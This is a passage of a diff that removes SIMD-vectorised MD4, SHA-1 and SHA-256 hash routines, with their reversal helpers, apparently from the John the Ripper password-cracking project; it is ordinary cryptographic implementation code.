-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
-			}
-		}
-	}
-
-#if USE_EXPERIMENTAL
-	/*
- * This is currently not used for MD4, and was observed to result
- * in a significant performance regression (at least on XOP) just by sitting
- * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
- * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
- */
-	if (SSEi_flags & SSEi_FLAT_OUT)
-	{
-		MD4_PARA_DO(i)
-		{
-			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15 * 4,
-									14 * 4,
-									13 * 4,
-									12 * 4,
-									11 * 4,
-									10 * 4,
-									9 * 4,
-									8 * 4,
-									7 * 4,
-									6 * 4,
-									5 * 4,
-									4 * 4,
-									3 * 4,
-									2 * 4,
-									1 * 4,
-									0 * 4);
-
-			vscatter_epi32(o + 0, idxs, a[i], 4);
-			vscatter_epi32(o + 1, idxs, b[i], 4);
-			vscatter_epi32(o + 2, idxs, c[i], 4);
-			vscatter_epi32(o + 3, idxs, d[i], 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[4];
-				uint32_t s[4 * VS32];
-			} tmp;
-
-			tmp.v[0] = a[i];
-			tmp.v[1] = b[i];
-			tmp.v[2] = c[i];
-			tmp.v[3] = d[i];
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
-#endif
-		}
-	}
-	else
-#endif
-		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
-			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
-			}
-		}
-	}
-	else
-	{
-		MD4_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
-		}
-	}
-}
-
-#endif /* SIMD_PARA_MD4 */
-
-#if SIMD_PARA_SHA1
-#define SHA1_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
-#define SHA1_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_SHA1; (x)++)
-
-#define SHA1_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
-
-#if __AVX512F__
-#define SHA1_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#else
-#define SHA1_G(x, y, z)                                                        \
-	tmp[i] = vxor((y[i]), (z[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (x[i]));
-#endif
-
-#if __AVX512F__
-#define SHA1_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
-#elif !VCMOV_EMULATED
-#define SHA1_H(x, y, z)                                                        \
-	tmp[i] = vxor((z[i]), (y[i]));                                             \
-	tmp[i] = vcmov((x[i]), (y[i]), tmp[i]);
-#else
-#define SHA1_H(x, y, z)                                                        \
-	tmp[i] = vand((x[i]), (y[i]));                                             \
-	tmp[i] = vor((tmp[i]), vand(vor((x[i]), (y[i])), (z[i])));
-#endif
-
-#define SHA1_I(x, y, z) SHA1_G(x, y, z)
-
-#define SHA1_EXPAND2a(t)                                                       \
-	tmp[i] = vxor(data[i * 16 + t - 3], data[i * 16 + t - 8]);                 \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
-	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2b(t)                                                       \
-	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], data[i * 16 + t - 8]);          \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
-	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2c(t)                                                       \
-	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
-	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2d(t)                                                       \
-	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
-	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
-	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
-	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2(t)                                                        \
-	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
-	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
-	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 16) & 0xF)]);                       \
-	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_ROUND2a(a, b, c, d, e, F, t)                                      \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-		SHA1_EXPAND2a(t + 16)                                                  \
-	}
-
-#define SHA1_ROUND2b(a, b, c, d, e, F, t)                                      \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-		SHA1_EXPAND2b(t + 16)                                                  \
-	}
-
-#define SHA1_ROUND2c(a, b, c, d, e, F, t)                                      \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-		SHA1_EXPAND2c(t + 16)                                                  \
-	}
-
-#define SHA1_ROUND2d(a, b, c, d, e, F, t)                                      \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-		SHA1_EXPAND2d(t + 16)                                                  \
-	}
-
-#define SHA1_ROUND2(a, b, c, d, e, F, t)                                       \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-		SHA1_EXPAND2(t + 16)                                                   \
-	}
-
-#define SHA1_ROUND2x(a, b, c, d, e, F, t)                                      \
-	SHA1_PARA_DO(i)                                                            \
-	{                                                                          \
-		F(b, c, d)                                                             \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		tmp[i] = vroti_epi32(a[i], 5);                                         \
-		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
-		e[i] = vadd_epi32(e[i], cst);                                          \
-		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
-		b[i] = vroti_epi32(b[i], 30);                                          \
-	}
-
-#define INIT_E 0xC3D2E1F0
-
-void sha1_reverse(uint32_t * hash)
-{
-	hash[4] -= INIT_E;
-	hash[4] = (hash[4] << 2) | (hash[4] >> 30);
-}
-
-void sha1_unreverse(uint32_t * hash)
-{
-	hash[4] = (hash[4] << 30) | (hash[4] >> 2);
-	hash[4] += INIT_E;
-}
-
-#undef INIT_E
-
-void SIMDSHA1body(vtype * _data,
-				  ARCH_WORD_32 * out,
-				  ARCH_WORD_32 * reload_state,
-				  unsigned SSEi_flags)
-{
-	vtype w[16 * SIMD_PARA_SHA1];
-	vtype a[SIMD_PARA_SHA1];
-	vtype b[SIMD_PARA_SHA1];
-	vtype c[SIMD_PARA_SHA1];
-	vtype d[SIMD_PARA_SHA1];
-	vtype e[SIMD_PARA_SHA1];
-	vtype tmp[SIMD_PARA_SHA1];
-	vtype cst;
-	unsigned int i;
-	vtype * data;
-
-	if (SSEi_flags & SSEi_FLAT_IN)
-	{
-// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER_4x(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER_4x(W[14], saved_key, 14);
-				GATHER_4x(W[15], saved_key, 15);
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER_2x(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER_2x(W[14], saved_key, 14);
-				GATHER_2x(W[15], saved_key, 15);
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER(W[14], saved_key, 14);
-				GATHER(W[15], saved_key, 15);
-				saved_key += (VS32 << 4);
-			}
-			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
-				 == SSEi_2BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
-					== SSEi_4BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
-					== SSEi_FLAT_RELOAD_SWAPLAST))
-			{
-				vswap32(W[14]);
-				vswap32(W[15]);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
-				saved_key += (VS32 << 4);
-			}
-			for (i = 0; i < 14; i++) vswap32(W[i]);
-			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
-				 == SSEi_2BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
-					== SSEi_4BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
-					== SSEi_FLAT_RELOAD_SWAPLAST))
-			{
-				vswap32(W[14]);
-				vswap32(W[15]);
-			}
-			W += 16;
-		}
-#endif
-
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	}
-	else
-		data = _data;
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-			e[i] = vset1_epi32(0xC3D2E1F0);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
-				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]);
-				e[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]);
-			}
-		}
-	}
-
-	cst = vset1_epi32(0x5A827999);
-	SHA1_ROUND2a(a, b, c, d, e, SHA1_F, 0);
-	SHA1_ROUND2a(e, a, b, c, d, SHA1_F, 1);
-	SHA1_ROUND2a(d, e, a, b, c, SHA1_F, 2);
-	SHA1_ROUND2b(c, d, e, a, b, SHA1_F, 3);
-	SHA1_ROUND2b(b, c, d, e, a, SHA1_F, 4);
-	SHA1_ROUND2b(a, b, c, d, e, SHA1_F, 5);
-	SHA1_ROUND2b(e, a, b, c, d, SHA1_F, 6);
-	SHA1_ROUND2b(d, e, a, b, c, SHA1_F, 7);
-	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 8);
-	SHA1_ROUND2c(b, c, d, e, a, SHA1_F, 9);
-	SHA1_ROUND2c(a, b, c, d, e, SHA1_F, 10);
-	SHA1_ROUND2c(e, a, b, c, d, SHA1_F, 11);
-	SHA1_ROUND2c(d, e, a, b, c, SHA1_F, 12);
-	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 13);
-	SHA1_ROUND2d(b, c, d, e, a, SHA1_F, 14);
-	SHA1_ROUND2d(a, b, c, d, e, SHA1_F, 15);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_F, 16);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_F, 17);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_F, 18);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_F, 19);
-
-	cst = vset1_epi32(0x6ED9EBA1);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 20);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 21);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 22);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 23);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 24);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 25);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 26);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 27);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 28);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 29);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 30);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 31);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 32);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 33);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 34);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 35);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 36);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 37);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 38);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 39);
-
-	cst = vset1_epi32(0x8F1BBCDC);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 40);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 41);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 42);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 43);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 44);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 45);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 46);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 47);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 48);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 49);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 50);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 51);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 52);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 53);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 54);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 55);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 56);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 57);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 58);
-	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 59);
-
-	cst = vset1_epi32(0xCA62C1D6);
-	SHA1_ROUND2(a, b, c, d, e, SHA1_I, 60);
-	SHA1_ROUND2(e, a, b, c, d, SHA1_I, 61);
-	SHA1_ROUND2(d, e, a, b, c, SHA1_I, 62);
-	SHA1_ROUND2(c, d, e, a, b, SHA1_I, 63);
-	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 64);
-	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 65);
-	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 66);
-	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 67);
-	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 68);
-	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 69);
-	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 70);
-	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 71);
-	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 72);
-	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 73);
-	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 74);
-	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 75);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA1_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
-		}
-		return;
-	}
-
-	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 76);
-	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 77);
-	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 78);
-	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 79);
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-			e[i] = vadd_epi32(e[i], vset1_epi32(0xC3D2E1F0));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
-				e[i] = vadd_epi32(
-					e[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]));
-				e[i] = vadd_epi32(
-					e[i],
-					vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT)
-	{
-		SHA1_PARA_DO(i)
-		{
-			uint32_t * o = (uint32_t *) &out[i * 5 * VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15 * 5,
-									14 * 5,
-									13 * 5,
-									12 * 5,
-									11 * 5,
-									10 * 5,
-									9 * 5,
-									8 * 5,
-									7 * 5,
-									6 * 5,
-									5 * 5,
-									4 * 5,
-									3 * 5,
-									2 * 5,
-									1 * 5,
-									0 * 5);
-
-			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
-			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
-			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
-			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
-			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[5];
-				uint32_t s[5 * VS32];
-			} tmp;
-
-			tmp.v[0] = vswap32(a[i]);
-			tmp.v[1] = vswap32(b[i]);
-			tmp.v[2] = vswap32(c[i]);
-			tmp.v[3] = vswap32(d[i]);
-			tmp.v[4] = vswap32(e[i]);
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 5; k++) o[j * 5 + k] = tmp.s[k * VS32 + j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
-			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA1_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 5 * VS32 + 0 * VS32], a[i]);
-			vstore((vtype *) &out[i * 5 * VS32 + 1 * VS32], b[i]);
-			vstore((vtype *) &out[i * 5 * VS32 + 2 * VS32], c[i]);
-			vstore((vtype *) &out[i * 5 * VS32 + 3 * VS32], d[i]);
-			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
-		}
-	}
-}
-#endif /* SIMD_PARA_SHA1 */
-
-#if SIMD_PARA_SHA256
-
-/*
- * These optimized Sigma alternatives are from "Fast SHA-256 Implementations
- * on Intel Architecture Processors" whitepaper by Intel. They should result
- * in less register copy operations but in our case they definitely cause a
- * regression. Not sure why.
- */
-#if 0
-#define S0(x)                                                                  \
-	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -9), x), -11), x), -2)
-#define S1(x)                                                                  \
-	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -14), x), -5), x), -6)
-#else
-#define S0(x)                                                                  \
-	(vxor(vroti_epi32(x, -22), vxor(vroti_epi32(x, -2), vroti_epi32(x, -13))))
-
-#define S1(x)                                                                  \
-	(vxor(vroti_epi32(x, -25), vxor(vroti_epi32(x, -6), vroti_epi32(x, -11))))
-#endif
-
-#define s0(x)                                                                  \
-	(vxor(vsrli_epi32(x, 3), vxor(vroti_epi32(x, -7), vroti_epi32(x, -18))))
-
-#define s1(x)                                                                  \
-	(vxor(vsrli_epi32(x, 10), vxor(vroti_epi32(x, -17), vroti_epi32(x, -19))))
-
-#if __AVX512F__
-#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
-#elif !VCMOV_EMULATED
-#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
-#else
-#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
-#endif
-
-#define Ch(x, y, z) vcmov(y, z, x)
-
-#undef R
-#define R(t)                                                                   \
-	{                                                                          \
-		tmp1[i] = vadd_epi32(s1(w[(t - 2) & 0xf]), w[(t - 7) & 0xf]);          \
-		tmp2[i] = vadd_epi32(s0(w[(t - 15) & 0xf]), w[(t - 16) & 0xf]);        \
-		w[(t) &0xf] = vadd_epi32(tmp1[i], tmp2[i]);                            \
-	}
-
-#define SHA256_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA256; ++x)
-
-#define SHA256_STEP(a, b, c, d, e, f, g, h, x, K)                              \
-	{                                                                          \
-		SHA256_PARA_DO(i)                                                      \
-		{                                                                      \
-			w = _w[i].w;                                                       \
-			tmp1[i] = vadd_epi32(h[i], S1(e[i]));                              \
-			tmp1[i] = vadd_epi32(tmp1[i], Ch(e[i], f[i], g[i]));               \
-			tmp1[i] = vadd_epi32(tmp1[i], vset1_epi32(K));                     \
-			tmp1[i] = vadd_epi32(tmp1[i], w[(x) &0xf]);                        \
-			tmp2[i] = vadd_epi32(S0(a[i]), Maj(a[i], b[i], c[i]));             \
-			d[i] = vadd_epi32(tmp1[i], d[i]);                                  \
-			h[i] = vadd_epi32(tmp1[i], tmp2[i]);                               \
-			if (x < 48) R(x);                                                  \
-		}                                                                      \
-	}
-
-#define INIT_A 0x6a09e667
-#define INIT_B 0xbb67ae85
-#define INIT_C 0x3c6ef372
-#define INIT_D 0xa54ff53a
-#define INIT_E 0x510e527f
-#define INIT_F 0x9b05688c
-#define INIT_G 0x1f83d9ab
-#define INIT_H 0x5be0cd19
-
-#define ror(x, n) ((x >> n) | (x << (32 - n)))
-
-void sha256_reverse(uint32_t * hash)
-{
-	uint32_t a, b, c, d, e, f, g, h, s0, maj, tmp;
-
-	a = hash[0] - INIT_A;
-	b = hash[1] - INIT_B;
-	c = hash[2] - INIT_C;
